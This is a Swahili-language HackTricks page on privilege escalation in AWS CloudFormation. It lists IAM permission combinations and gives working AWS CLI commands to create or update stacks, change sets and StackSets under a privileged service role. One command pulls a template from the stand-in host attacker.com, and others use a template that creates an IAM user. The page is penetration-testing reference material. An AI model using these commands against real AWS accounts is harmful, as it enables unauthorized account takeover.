AWS - Cloudformation Privesc

unga mkono HackTricks

cloudformation

Kwa habari zaidi kuhusu cloudformation angalia:

AWS - CloudFormation & Codestar Enum

iam:PassRole, cloudformation:CreateStack

Mshambuliaji mwenye ruhusa hizi anaweza kukuza mamlaka kwa kutengeneza stakabadhi ya CloudFormation na templeti ya desturi, iliyohifadhiwa kwenye seva yao, kutekeleza hatua chini ya ruhusa ya jukumu lililoteuliwa:

aws cloudformation create-stack --stack-name <stack-name> \
--template-url http://attacker.com/attackers.template \
--role-arn <arn-role>

Katika ukurasa ufuatao una mfano wa kutumia na idhini ya ziada cloudformation:DescribeStacks:

iam:PassRole, cloudformation:CreateStack,and cloudformation:DescribeStacks

Matokeo Yanayowezekana: Privesc kwa jukumu la huduma ya cloudformation iliyotajwa.

iam:PassRole, (cloudformation:UpdateStack | cloudformation:SetStackPolicy)

Katika kesi hii unaweza kutumia vibaya stakabadhi ya cloudformation iliyopo kuibadilisha na kuinua mamlaka kama ilivyokuwa kwenye kisa kilichopita:

aws cloudformation update-stack \
--stack-name privesc \
--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \
--role arn:aws:iam::91029364722:role/CloudFormationAdmin2 \
--capabilities CAPABILITY_IAM \
--region eu-west-1

Matokeo Yanayowezekana: Privesc kwa jukumu la huduma ya cloudformation lililoelezwa.

cloudformation:UpdateStack | cloudformation:SetStackPolicy

Ikiwa una idhini hii lakini huna iam:PassRole bado unaweza kusasisha mizunguko iliyotumiwa na kutumia Vivutio vya IAM ambavyo tayari vimeambatanishwa. Angalia sehemu iliyopita kwa mfano wa shambulio (tu usitaje jukumu lolote katika sasisho).

Idhini ya cloudformation:SetStackPolicy inaweza kutumika kwa kujipa mwenyewe idhini ya UpdateStack juu ya mizunguko na kufanya shambulio.

Matokeo Yanayowezekana: Privesc kwa jukumu la huduma ya cloudformation tayari limeambatanishwa.

iam:PassRole,((cloudformation:CreateChangeSet, cloudformation:ExecuteChangeSet) | cloudformation:SetStackPolicy)

Mshambuliaji mwenye idhini ya kupitisha jukumu na kuunda & kutekeleza ChangeSet anaweza kuunda/kusasisha mizunguko mpya ya cloudformation kutumia vibali vya huduma za cloudformation kama ilivyo kwa CreateStack au UpdateStack.

Shambulio lifuatalo ni tofauti ya moja ya KuundaStack kutumia idhini za ChangeSet kuunda mizunguko.

aws cloudformation create-change-set \
--stack-name privesc \
--change-set-name privesc \
--change-set-type CREATE \
--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \
--role arn:aws:iam::947247140022:role/CloudFormationAdmin \
--capabilities CAPABILITY_IAM \
--region eu-west-1

echo "Waiting 2 mins to change the stack"
sleep 120

aws cloudformation execute-change-set \
--change-set-name privesc \
--stack-name privesc \
--region eu-west-1

echo "Waiting 2 mins to execute the stack"
sleep 120

aws cloudformation describe-stacks \
--stack-name privesc \
--region eu-west-1

cloudformation:SetStackPolicy ruhusa inaweza kutumika kujipa ruhusa za ChangeSet juu ya stack na kufanya shambulio.

Matokeo Yanayowezekana: Privesc kwa majukumu ya huduma ya cloudformation.

(cloudformation:CreateChangeSet, cloudformation:ExecuteChangeSet) | cloudformation:SetStackPolicy)

Hii ni kama njia iliyopita bila kupitisha majukumu ya IAM, hivyo unaweza tu kutumia yale yaliyowekwa tayari, badilisha tu parameter:

--change-set-type UPDATE

Athari Inayowezekana: Privesc kwa jukumu la huduma ya cloudformation tayari limeunganishwa.

iam:PassRole,(cloudformation:CreateStackSet | cloudformation:UpdateStackSet)

Mshambuliaji anaweza kutumia vibali hivi kuunda/kusasisha StackSets kutumia majukumu ya cloudformation kwa njia isiyo halali.

Athari Inayowezekana: Privesc kwa majukumu ya huduma ya cloudformation.

cloudformation:UpdateStackSet

Mshambuliaji anaweza kutumia kibali hiki bila kibali cha passRole kusasisha StackSets kutumia majukumu ya cloudformation yaliyounganishwa.

Athari Inayowezekana: Privesc kwa majukumu ya huduma ya cloudformation yaliyounganishwa.

Marejeo

Support HackTricks

Last updated